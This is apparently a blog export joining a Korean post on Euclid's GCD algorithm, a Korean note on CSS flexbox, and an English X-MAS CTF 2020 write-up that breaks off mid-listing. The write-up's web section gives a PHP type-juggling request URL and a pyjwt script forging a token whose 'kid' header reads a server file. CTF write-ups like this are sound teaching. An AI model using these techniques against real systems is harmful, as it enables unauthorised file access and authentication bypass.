people.cs.ksu.edu/~schmidt/301s14/Exercises/euclid_alg.html

 

Euclid's GCD Algorithm

Euclid's GCD Algorithm One of the earliest known numerical algorithms is that developed by Euclid (the father of geometry) in about 300 B.C. for computing the greatest common divisor (GCD) of two positive integers. Let GCD(x,y) be the GCD of positive integ

people.cs.ksu.edu

개요

유명한 알고리즘 중 하나로 유클리드 호제법(Euclid's GCD Alogirhtm)이 있다. 이는 2개의 자연수의 최대공약수(GCD: Greatest Common Divisor)를 구하는 알고리즘이다.

기하학의 아버지인 유클리드가 기원전 300년쯤에 개발한 알고리즘이다.

 

알고리즘 자체는 간단한데, 어떻게 이 알고리즘이 성립하는지 그러한 부분들부터 차근차근 한번 정리하면서 알아보자.

 

유클리드 호제법 증명

//(GCD(x, y)//)를 자연수 //(x//), //(y//)의 최대공약수라고 하자.

 

만약 //(x=y//)인 경우 아래는 자명하다.

 

//(GCD(x,y) = GCD(x,x) = x//)

 

공약수의 성질

그리고 유클리드는 //(x>y//)인 경우, 아래의 성질도 성립함을 알아내었다.

//(GCD(x,y) = GCD(x-y, y)//)

 

뭔가 감이 안 올 수 있는데, 간단하게 증명된다고 한다.

//(d//)를 //(x//)와 //(y//)의 공약수라고 하자.

 

그러면 아래의 조건을 만족하는 정수 //(q_1//)과 //(q_2//)가 존재한다.

//(x=q_1d//) , //(y=q_2d//)

 

//(x-y=q_1d-q_2d=(q_1-q_2)d//)

따라서 //(d//)는 //(x-y//)의 약수이기도 하다.

 

비슷한 이유로 이 역도 가능하다는 것을 보일 수 있다. //(x-y//)와 //(y//)의 약수는 //(x//)의 약수이기도 하다.

따라서 //(x//)와 //(y//)의 공약수 집합은, //(x-y//)와 //(y//)의 공약수 집합과 일치한다.

따라서 그 집합에서 가장 큰 원소인 최대 공약수 역시 일치하게 된다.

 

따라서 //(GCD(x,y) = GCD(x-y, y)//)가 성립한다.

 

Naive한 유클리드 호제법

위의 공약수의 성질을 이용해서 x와 y가 같아질 때 까지, 큰 값에서 작은 값을 빼는 방식으로 알고리즘을 수행해볼 수 있다.

이는 아래 두 가지 성질을 이용한 것이다.

//(GCD(x,x) = x//)

//(GCD(x,y) = GCD(x-y, y)//)

int gcd(const int K, const int M) {
    int k = K;   // 간단하게 불변식을 표현하기 위해
    int m = M;   // 인자를 상수로 고정하고
                // 계산을 위해 지역변수(사본)을 사용
    // loop invariant(불변식): GCD(K,M) = GCD(k,m)
    while (k != m) {
        if (k > m) {
            k = k-m; 
        } else {
            m = m-k;
        }
    }
    // 이 시점에서 k = m 이므로 , GCD(K,M) = GCD(k,m) = GCD(k,k) = k
    return k;
}

위와 같은 코드를 통해서 gcd를 쉽게 구해볼 수 있다. 지역변수로 사용한 k와 m은 처음 인자로 들어온 K와 M의 복사본으로 시작이 되며, gcd의 성질을 통해서 큰 값에서 작은 값을 빼더라도 같은 gcd를 갖게 된다.

 

좀 더 빠른 유클리드 호제법

위와 같은 방식으로, 큰 값에서 작은 값을 빼는 방식으로 유클리드 호제법이 구현이 가능한데, 이를 좀 더 빠르게 구현할 수 있다.

 

작은 값은 큰 값에서 뺄 수 있을 때 까지는 계속해서 빼기 연산을 수행할 것이므로, 이를 나머지 연산으로 대체하면 여러번 빼는 연산을 한번으로 대체할 수 있게 된다.

int gcd(int K, int M) {
    int k = K;   
    int m = M;   
    // loop invariant(불변식): GCD(K,M) = GCD(k,m)
    while (k !=0  &&  m != 0) {
        if (k > m)
        { k = k % m; }
        else
        { m = m % k; }
    }
    // 이 시점에서, GCD(K,M) = GCD(k,m) = max(k,m)
    return max(k,m);
}

빼기를 반복하는 경우의 알고리즘에선 k=m이 될 때 알고리즘이 종료되지만, 나머지 연산을 하는 경우 k=m인 경우 k와 m중 하나의 값이 0이 되어버린다. 따라서 리턴값은 그 중 큰 값이 된다.

 

이 코드를 좀 더 간편하게 정리하여, k > m 임을 보장하는 방식으로 코드를 짠다면 아래처럼 코드가 된다.

int gcd(int K, int M) {
    int k = max(K,M);
    int m = min(K,M);
    // loop invariant(불변식): k ≥ m ∧ GCD(K,M) = GCD(k,m)
    while (m != 0) {
        int r = k % m;
        k = m;
        m = r;
    }
    // 이 시점에서, GCD(K,M) = GCD(k,m) = GCD(k,0) = k
    return k;
}

간결한 코드

int gcd(int a, int b)
{
	return b ? gcd(b, a%b) : a;
}

developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

stackoverflow.com/questions/90178/make-a-div-fill-the-height-of-the-remaining-screen-space

developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Flexbox%EC%9D%98_%EA%B8%B0%EB%B3%B8_%EA%B0%9C%EB%85%90

 

CSS에 있는 flexbox라는 컨셉이 있는데, 비교적 최근에 나온 컨셉이다. 공식문서를 좀 읽어보자.

 

이 Flexbox라는 컨셉은 1차원적인 레이아웃모델에 공간배분, 정렬기능을 제공한다고 한다.

끝 선 맞추기 등 여러가지가 있는데, 일단 제일 평범하면서도 중요한 기능인 크기 조절에 대해 살펴보자.

 

일단 용어를 조금 정리하고 넘어가자면, 항목(item)은 내부에 내용(contents)를 포함한다. 항목이 parents element라면 내용은 child elements라고 볼 수 있겠다.

 

많은 기능들이 있는데, 일단 on-demand로 당장 필요한 기능을 이야기 해보고자 한다.

 

이걸 알게 된 이유는, 화면 레이아웃에서, 이렇게 구성하고 싶은데 크기를 잘 조절못해서 구글링하다가 알게 되었다.

<div class="box">
    <div class="one">One</div>
    <div class="two">Two</div>
    <div class="three">Three</div>
</div>

내가 원하는 건, one은 고정된 20px크기를 갖고, 아래의 three도 고정된 50px의 크기를 가지며,

중간의 two는 남는 공간을 죄다 차지하도록 하게 하고 싶었다.

이런 경우 이렇게 지정하면 된다고 한다.

.box {
    display: flex;
    flex-flow: column;
    height: 100%;
}

.one {
    flex: 0 1 20px;
}

.two {
    flex: 0 1 auto;
}

.three {
    flex: 0 1 50px;
}

 

이제 방법은 알았으니 원리를 좀 알아보자.

크기 조절(분배)

크기 조절 컨셉은 3개의 css property를 사용하는데, 기본 컨셉 이러하다.

기본 크기를 지정하고, 공간이 남거나 모자라면 weight값에 따라 비례적으로 나눠 가진다.

이때 기본 크기가 flex-basis 값이다.

그리고 공간이 남는 경우 더 커질 수 있는 경우 flex-grow값에서 관장한다.

그리고 공간이 모자라서 더 작아지는 경우 flex-shrink라는 값에서 관장한다.

 

flex-grow가 양수이면, flex 항목의 크기가 커질 수 있다.

flex-shrink가 양수이면, flex 항목의 크기가 작아질 수 있다.

 

양수라면 그 크기의 비율에 따라서 많이 작아지거나 많이 커지거나 하게 된다.

flex-basis

flex-basis property는 남는 공간이 있는 경우 항목의 크기를 결정하는 속성이다.

기본 값은 auto인데, 브라우저가 해당 항목이 크기가 있다고 생각하는 경우, 그 크기를 flex-basis로 갖는다는 뜻이다.

만약 항목이 크기를 갖지 않는다면 그 항목의 컨텐츠 크기가 flex-basis로 사용된다. 따라서 단지 부모 항목에 display: flex; 만 설정해줘도, 내부 항목들이 한 줄로 정렬되면서 자기자신의 내용들을 표현할 크기만큼만 공간을 가져가는 이유이다.

flex-grow

flex-grow가 0이면 동작하지 않고, 양수이면 주축 방향으로 크기가 flex-basis이상 커질 수 있도록 해주는 특성이다.

flex-grow를 1로 하면, 남은 공간들은 각 항목에 동일하게 분배된다. 만약 1이상의 값이면 남은 공간이 분배될 때, 그 값의 비율만큼 분배가 되게 된다.

flex-shrink

flex-grow와 비슷한 방식으로 동작하는데, 이는 남은 공간을 추가적으로 할당해서 커지는 것이 아니라 basis만큼 분배하기에 남은 공간이 부족할 시 각 사이즈를 줄이는 방식을 정의한다. 이 값이 클 수록 더 많이 작아지게 된다.

 

축약형 속성 flex

flex-basis, flex-grow, flex-shrink 항목을 한 줄에 한번에 표현할 때 쓰는 속성 이름이 flex이다.

flex: 1 2 auto; 라고 지정하면 각각 왼쪽부터 순서대로 flex-grow, flex-shrink, flex-basis가 되게 된다.

I participated in X-mas CTF 2020(xmas.htsp.ro/) held from 11st december 2020, to 18th december 2020.

X-mas CTF is one of my favorite competition because, it held with long period so that I don't have to dedicate all of my resources to the round.

I collaborated with jeongwon jo(burp.kr/), team name was 'Play the web'.

I had great fun with this challs.

If you want to see the write-up written by jeongwon jo, follow the link(burp.kr/2020/X-MAS-CTF-2020/)

 

Misc - PMB

This challenge seems very weird. When I connected the server with nc, there are some weird text lines.

The server get my number input of which modulus is less than 100.

 

$ nc challs.xmas.htsp.ro 6002
#########################
#  _____  __  __ ____   #
# |  __ \|  \/  |  _ \  #
# | |__) | \  / | |_) | #
# |  ___/| |\/| |  _ <  #
# | |    | |  | | |_) | #
# |_|    |_|  |_|____/  #
#                       #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*

Month 1
-------
Balance: $1000.0
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $0.0

Month 2
-------
Balance: $0.0
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $0.0

Month 3
-------
Balance: $0.0
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $0.0

Month 4
-------
Balance: $0.0
*you want to buy a flag for $10 million*
ERROR: Not enough funds.

There is a hint, the modulus is absolute value.

Furthermore, the challgne name is PMB(Python Math Bank). So I thought it is related with mathematical function in python.

I googled about abs function in python.

I found that return value of abs function when input parameter is not real number but complex number.(imaginary number).

The inspiration is following.

>>> abs(1+99j)
99.00505037623081

So, I entered the complex number (1+99j)

The result was awesome!

$ nc challs.xmas.htsp.ro 6002
#########################
#  _____  __  __ ____   #
# |  __ \|  \/  |  _ \  #
# | |__) | \  / | |_) | #
# |  ___/| |\/| |  _ <  #
# | |    | |  | | |_) | #
# |_|    |_|  |_|____/  #
#                       #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1+99j
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*

Month 1
-------
Balance: $(1000+99000j)
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $99000j

Month 2
-------
Balance: $(-9801000+99000j)
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $(-9801000+99000j)

Month 3
-------
Balance: $(-19602000-970200000j)
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $(-19602000-970200000j)

Month 4
-------
Balance: $(96030198000-2910798000j)
*you want to buy a flag for $10 million*
GG!
X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}

Thanks to counterintuitive arithmetic result of complex number, we can get the flag!

Programming - Biggest Lowest

$ nc challs.xmas.htsp.ro 6051
So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 45 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8

Test number: 1/50
array = [6, 6, 5, 7, 3]
k1 = 1
k2 = 3

 

This is not the the cyber security challenge. It is such kind of a traditional competitive programming challenge.

The problem can be solved by deterministic computer algorithm.

This challenge is a easy one, just sort and print leading segment tailing segment.

The solver code is following

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote("challs.xmas.htsp.ro", 6051)

def solve():
    global p
    p.recvuntil("array = [")
    array = sorted(list(map(int, p.recvuntil("]")[:-1].split(b","))))
    p.recvuntil("k1 = ")
    k1 = int(p.recvuntil("\n"))
    p.recvuntil("k2 = ")
    k2 = int(p.recvuntil("\n"))
    ans1 = [str(array[i]) for i in range(k1)]
    ans2 = [str(array[-i]) for i in range(1, k2+1)]
    p.sendline(", ".join(ans1) + "; " + ", ".join(ans2))
    res = p.recvuntil("!")
    print (res)
    if b"Good" not in res:
        sys.exit()
for i in (range(50)):
    print ("Doing... {}/50".format(i))
    solve()
print (p.recv())
p.close()
# flag is X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}

Programming - Many Paths

$ nc challs.xmas.htsp.ro 6053
I swear that Santa is going crazy with those problems, this time we're really screwed!
The new problem asks us the following:
Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?
And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?

Test number: 1/40
N = 5
adjacency matrix:
0,1,1,0,1
1,0,0,0,1
1,0,0,0,1
0,0,0,0,0
1,1,1,0,0
forbidden nodes: [4]
L = 6

This challenge can be solved with simple dynamic programming idea.

Let's define 2-dimension dynamic programming cache array.

Let's define the "dp[a][b]" => number of cases reach to 'b' place with length of 'a'

Then I can write solver with only python implementing this idea.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(L+1)]
    
    dp[0][0] = 1
    # print (dp)
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in range(N):
                if k+1 in forbidden:
                    continue
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i][j] += dp[i-1][k]
                    dp[i][j] %= mod
    ans = dp[L][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

But this solver code is too slow to get the flag. Perhaps near about 26/40 test case, got time limit exceed judge.

Analysising the test case, L length is much larger than N value. I reduced memory usage due to dp array.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(2)]
    
    dp[0][0] = 1
    # print (dp)
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in range(N):
                if k+1 in forbidden:
                    continue
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i%2][j] += dp[(i+1)%2][k]
                    dp[i%2][j] %= mod
        dp[(i+1)%2] = [0 for i in range(N)]
    ans = dp[L%2][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

But the code is slow yet.

I used adjacent list instead of adjacent matrix.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(2)]
    edges = [[] for i in range(N)]
    for i in range(N):
        for j in range(N):
            if j+1 in forbidden:
                continue
            if adj[i][j] != 0:
                edges[i].append(j)
    dp[0][0] = 1
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in edges[j]:
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i%2][j] += dp[(i+1)%2][k]
                    dp[i%2][j] %= mod
        dp[(i+1)%2] = [0 for i in range(N)]
    ans = dp[L%2][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

Maybe slow yet.

I wrote cpp based solver, make the python code take advantage of the cpp solver.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    solver = process('./csolver')

    solver.sendline(str(N))
    for i in range(N):
        solver.sendline(" ".join(map(str,adj[i])))
    solver.sendline(str(len(ban)))
    for b in ban:
        solver.sendline(str(b))
    solver.sendline(str(L))
    ans = int(solver.recvuntil(b"\n").rstrip(b"\n"))
    solver.close()
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (ban)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

cpp solver code following.

#include <bits/stdc++.h>
using namespace std;
int adj[100][100];
int dp[2][100];
vector<int> edges[100];
set<int> ban;
const int MOD = 666013;
int main() {
    int N, L, bl;
    cin >> N;
    for (int i=0; i < N; i++)
        for (int j=0; j < N; j++) 
            cin >> adj[i][j];
    cin >> bl;
    while(bl--) {
        int tmp; cin >> tmp;
        tmp--;
        ban.insert(tmp);
    }
    cin >> L;
    for (int i=0; i< N; i++) {
        if (ban.find(i) != ban.end()) continue;
        for (int j=0;j < N; j++)
            if (adj[i][j])
                edges[i].push_back(j);
    }
    dp[0][0] = 1;
    for (int i=1; i <= L; i++) {
        for (int j=0;j < N; j++) {
            if (ban.find(j) != ban.end()) continue;
            for (int l=0; l < edges[j].size(); l++) {
                int k = edges[j][l];
                dp[i%2][j] += dp[(i+1)%2][k];
                dp[i%2][j] %= MOD;
            }
        }
        for (int j=0;j < N; j++)
            dp[(i+1)%2][j] = 0;
    }
    cout << dp[L%2][N-1] << endl;
    return 0;
}

Finally, my solver solved all test cases, got the flag!

But, the flag implies that the intended solution is matrix expansion.

 

I think about it, then I can solve the challenge with matrix multiplication.

Because, the next dp array is defined with linear combination of previous dp array.

If the recurrence relation can be denoted with linear combination of previous variable, we can transform recurrence relation into matrix multiplication.

The matrix is the adjacent matrix.

Matrix multiplication computing time complexity can be reduced with O(lg(L)* A), A is constant the cost of matrix multiplication.

The final solve code with matrix multiplication is following

#!/usr/bin/env python3.5
from pwn import *
import numpy as np
from numpy.linalg import matrix_power
import sys

mod = 666013
p = remote('challs.xmas.htsp.ro', 6053)
def power(mat, exp):
    global mod
    if exp <= 1:
        return mat % mod
    if exp % 2 == 0:
        half = power(mat, exp//2)
        return half * half % mod
    else:
        return power(mat, exp-1) * mat % mod
def solve():
    global mod
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    
    mat = np.asmatrix(adj)
    rmat = power(mat, L)

    ans = rmat[0,N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    if b"Good" not in res:
        print (res)
        print (N)
        print (adj)
        print (ban)
        print (L)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
print (p.recvuntil("}"))
p.close()

 

Web - PHP Master

Taking advantage of php type juggling. == operator allows type juggling with loose comparision. === operation does not allow type juggling, strict comparision.

 

http://challs.xmas.htsp.ro:3000/?param1=1.0&param2=001

Web - Santa's consolation

Javascript challenge.

function check(s) {
    const k="MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";const k1=atob(k).split('').reverse().join('');
    return bobify(s)===k1;
}
function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) //a,t,e,i,z가 포함되면 안됨.
        return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}
function win(x){return check(x) ? "X-MAS{"+x+"}" : "[REDACTED]";}

check function should return true to get the flag.

k1 value is following. The condition "bobify(myinput) == k1" satisfied.

REDACTED0000MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2

heading part of s3 is "REDACTED0000"

decodeURI(atob("MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2").split("|").map(c => String.fromCharCode(c)).join("")).split("[]").join("").replace(/a/g, '4').replace(/e/g, '3').replace(/i/g, '1').replace(/t/g,'7').replace(/z/g, '_');

The flag is X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}

Web - X-Mas Chan

I checked some functions in web site.

There is suspicious function. Request for /getbanner.php returns different banner image due to cookie value.

Parsing jwt value in cookie field, the result is following.

JWT header contains kid which seems file path.

I know the some png file in the server, I can utilize the png file as jwt signing key.

I made jwt signature with pyjwt module.

#!/usr/bin/env python3
import jwt

key = None

with open("1.png", "rb") as f:
        key = f.read()
print (jwt.encode({"banner":"flag.php"}, key, algorithm="HS256", headers={"kid":"/var/www/html/banner/1.png"}))

 

I can easily get the flag, with jwt vulnerability based lfi.

<?php

$flag = "X-MAS{n3v3r_trust_y0ur_us3rs_k1ds-b72dcf5a49498400}";

?>

Web - World's Most complex SQL Query

The challenge provide us source code view.

It provide us very large and complex sql query.

Just analyze the sql query can make us get the flag.

<?php
if (isset($_GET['source'])) {
  show_source("index.php");
  die ();
}

if (isset($_POST['flag'])) {
  include ("config.php");
  $conn = new mysqli($servername, $username, $password, $dbname);

  $query = "INSERT INTO FLAG (`id`, `n`) VALUES ";
  $alf = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()";
